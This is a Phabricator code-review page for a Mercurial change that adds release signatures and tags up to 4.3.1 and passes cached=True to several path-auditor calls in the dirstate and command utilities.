Details
Details
- Reviewers
pulkit rishabhmadan96 - Group Reviewers
hg-reviewers
Diff Detail
Diff Detail
- Repository
- rHG Mercurial
- Lint
Lint Skipped - Unit
Unit Tests Skipped
( )
| pulkit | |
| rishabhmadan96 |
| hg-reviewers |
| Lint Skipped |
| Unit Tests Skipped |
| Path | Packages | |||
|---|---|---|---|---|
| M | .hgsigs (1 line) | |||
| M | .hgtags (1 line) | |||
| M | hgext/fsmonitor/__init__.py (2 lines) | |||
| M | mercurial/cmdutil.py (2 lines) | |||
| M | mercurial/dirstate.py (2 lines) | |||
| M | mercurial/localrepo.py (9 lines) | |||
| M | mercurial/pathutil.py (16 lines) | |||
| M | mercurial/posix.py (9 lines) | |||
| M | mercurial/scmutil.py (2 lines) | |||
| M | mercurial/sshpeer.py (7 lines) | |||
| M | mercurial/subrepo.py (7 lines) | |||
| M | mercurial/util.py (15 lines) | |||
| M | mercurial/vfs.py (9 lines) | |||
| M | mercurial/windows.py (10 lines) | |||
| M | tests/test-audit-path.t (100 lines) | |||
| M | tests/test-clone.t (63 lines) | |||
| M | tests/test-commandserver.t (77 lines) | |||
| M | tests/test-pull.t (26 lines) | |||
| M | tests/test-push.t (26 lines) | |||
| M | tests/test-ssh-bundle1.t (2 lines) | |||
| M | tests/test-ssh.t (2 lines) | |||
| M | tests/test-subrepo-git.t (31 lines) | |||
| M | tests/test-subrepo-svn.t (40 lines) | |||
| M | tests/test-subrepo.t (74 lines) |
| 77eaf9539499a1b8be259ffe7ada787d07857f80 0 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 | |||||
| 77eaf9539499a1b8be259ffe7ada787d07857f80 4.1.3 | 77eaf9539499a1b8be259ffe7ada787d07857f80 4.1.3 | ||||
| 616e788321cc4ae9975b7f0c54c849f36d82182b 4.2-rc | 616e788321cc4ae9975b7f0c54c849f36d82182b 4.2-rc | ||||
| bb96d4a497432722623ae60d9bc734a1e360179e 4.2 | bb96d4a497432722623ae60d9bc734a1e360179e 4.2 | ||||
| c850f0ed54c1d42f9aa079ad528f8127e5775217 4.2.1 | c850f0ed54c1d42f9aa079ad528f8127e5775217 4.2.1 | ||||
| 26c49ed51a698ec016d2b4c6b44ca3c3f73cc788 4.2.2 | 26c49ed51a698ec016d2b4c6b44ca3c3f73cc788 4.2.2 | ||||
| 857876ebaed4e315f63157bd157d6ce553c7ab73 4.3-rc | 857876ebaed4e315f63157bd157d6ce553c7ab73 4.3-rc | ||||
| 5544af8622863796a0027566f6b646e10d522c4c 4.3 | 5544af8622863796a0027566f6b646e10d522c4c 4.3 | ||||
| 943c91326b23954e6e1c6960d0239511f9530258 4.2.3 | 943c91326b23954e6e1c6960d0239511f9530258 4.2.3 | ||||
| 3fee7f7d2da04226914c2258cc2884dc27384fd7 4.3.1 | |||||
| else: | else: | ||||
| visit.update(f for f, st in dmap.iteritems() | visit.update(f for f, st in dmap.iteritems() | ||||
| if (f not in results and | if (f not in results and | ||||
| (st[2] < 0 or st[0] != 'n' or fresh_instance) | (st[2] < 0 or st[0] != 'n' or fresh_instance) | ||||
| and matchfn(f))) | and matchfn(f))) | ||||
| visit.update(f for f in copymap | visit.update(f for f in copymap | ||||
| if f not in results and matchfn(f)) | if f not in results and matchfn(f)) | ||||
| audit = pathutil.pathauditor(self._root).check | audit = pathutil.pathauditor(self._root, cached=True).check | ||||
| auditpass = [f for f in visit if audit(f)] | auditpass = [f for f in visit if audit(f)] | ||||
| auditpass.sort() | auditpass.sort() | ||||
| auditfail = visit.difference(auditpass) | auditfail = visit.difference(auditpass) | ||||
| for f in auditfail: | for f in auditfail: | ||||
| results[f] = None | results[f] = None | ||||
| nf = iter(auditpass).next | nf = iter(auditpass).next | ||||
| for st in util.statfiles([join(f) for f in auditpass]): | for st in util.statfiles([join(f) for f in auditpass]): | ||||
| def doremove(f): | def doremove(f): | ||||
| try: | try: | ||||
| repo.wvfs.unlinkpath(f) | repo.wvfs.unlinkpath(f) | ||||
| except OSError: | except OSError: | ||||
| pass | pass | ||||
| repo.dirstate.remove(f) | repo.dirstate.remove(f) | ||||
| audit_path = pathutil.pathauditor(repo.root) | audit_path = pathutil.pathauditor(repo.root, cached=True) | ||||
| for f in actions['forget'][0]: | for f in actions['forget'][0]: | ||||
| if interactive: | if interactive: | ||||
| choice = repo.ui.promptchoice( | choice = repo.ui.promptchoice( | ||||
| _("forget added file %s (Yn)?$$ &Yes $$ &No") % f) | _("forget added file %s (Yn)?$$ &Yes $$ &No") % f) | ||||
| if choice == 0: | if choice == 0: | ||||
| repo.dirstate.drop(f) | repo.dirstate.drop(f) | ||||
| else: | else: | ||||
| excluded_files.append(repo.wjoin(f)) | excluded_files.append(repo.wjoin(f)) | ||||
| visit = [f for f in dmap if f not in results and matchfn(f)] | visit = [f for f in dmap if f not in results and matchfn(f)] | ||||
| visit.sort() | visit.sort() | ||||
| if unknown: | if unknown: | ||||
| # unknown == True means we walked all dirs under the roots | # unknown == True means we walked all dirs under the roots | ||||
| # that wasn't ignored, and everything that matched was stat'ed | # that wasn't ignored, and everything that matched was stat'ed | ||||
| # and is already in results. | # and is already in results. | ||||
| # The rest must thus be ignored or under a symlink. | # The rest must thus be ignored or under a symlink. | ||||
| audit_path = pathutil.pathauditor(self._root) | audit_path = pathutil.pathauditor(self._root, cached=True) | ||||
| for nf in iter(visit): | for nf in iter(visit): | ||||
| # If a stat for the same file was already added with a | # If a stat for the same file was already added with a | ||||
| # different case, don't add one for this, since that would | # different case, don't add one for this, since that would | ||||
| # make it appear as if the file exists under both names | # make it appear as if the file exists under both names | ||||
| # on disk. | # on disk. | ||||
| if (normalizefile and | if (normalizefile and | ||||
